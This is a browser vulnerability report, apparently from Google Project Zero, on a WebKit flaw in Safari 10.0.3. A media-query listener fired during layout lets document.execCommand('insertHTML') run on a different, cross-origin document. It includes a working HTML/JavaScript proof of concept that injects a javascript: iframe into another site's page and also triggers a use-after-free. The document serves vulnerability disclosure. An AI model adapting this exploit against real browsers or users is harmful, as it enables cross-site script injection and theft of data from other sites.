Reported by mailto:[email protected], Feb 16 2017
Here's a snippet of Editor::Command::execute
used to handle |document.execCommand|.
bool Editor::Command::execute(const String& parameter, Event* triggeringEvent) const
{
if (!isEnabled(triggeringEvent)) {
// Let certain commands be executed when performed explicitly even if they are disabled.
if (!allowExecutionWhenDisabled())
return false;
}
m_frame->document()->updateLayoutIgnorePendingStylesheets();
return m_command->execute(*m_frame, triggeringEvent, m_source, parameter);
}
This method is invoked under an |EventQueueScope|. But |updateLayoutIgnorePendingStylesheets| invokes |MediaQueryMatcher::styleResolverChanged| that directly calls |handleEvent| not affected by |EventQueueScope|. So it may end up to fire javascript handlers(|listener| in PoC). If we replace the document in that handler, |m_command| will be executed on the new document's focused element. We can use # in URL to give a focus.
Note 1: The PoC also trigger a UAF. So I recommend to test it on a release build. ASAN log Note 2: If the PoC doesn't work, adjust sleep().
Tested on Safari 10.0.3(12602.4.8).
PoC:
<html>
<body>
Click Anywhere.
<script>
function sleep(ms) {
let start = new Date();
while (new Date() - start < ms) {
}
}
window.onclick = () => {
window.onclick = null;
document.designMode = 'on';
document.execCommand('selectAll');
let f = document.body.appendChild(document.createElement('iframe'));
let media_list = f.contentWindow.matchMedia("(max-width: 100px)");
function listener() {
let a = document.createElement('a');
a.href = 'https://bugs.webkit.org/#quicksearch_top';
a.click();
sleep(1000);
window.showModalDialog(URL.createObjectURL(new Blob([
`
<script>
let it = setInterval(() => {
try {
opener.document.x;
} catch (e) {
clearInterval(it);
setTimeout(() => {
window.close();
}, 2000);
}
}, 100);
</scrip` + 't>'
], {
type: 'text/html'
})));
}
media_list.addListener(listener);
document.execCommand('insertHTML', false, 'aaa<a-a></a-a><iframe src="javascript:alert(parent.location)"></iframe>');
};
</script>
</body>
</html>
Link: https://bugs.chromium.org/p/project-zero/issues/detail?id=1133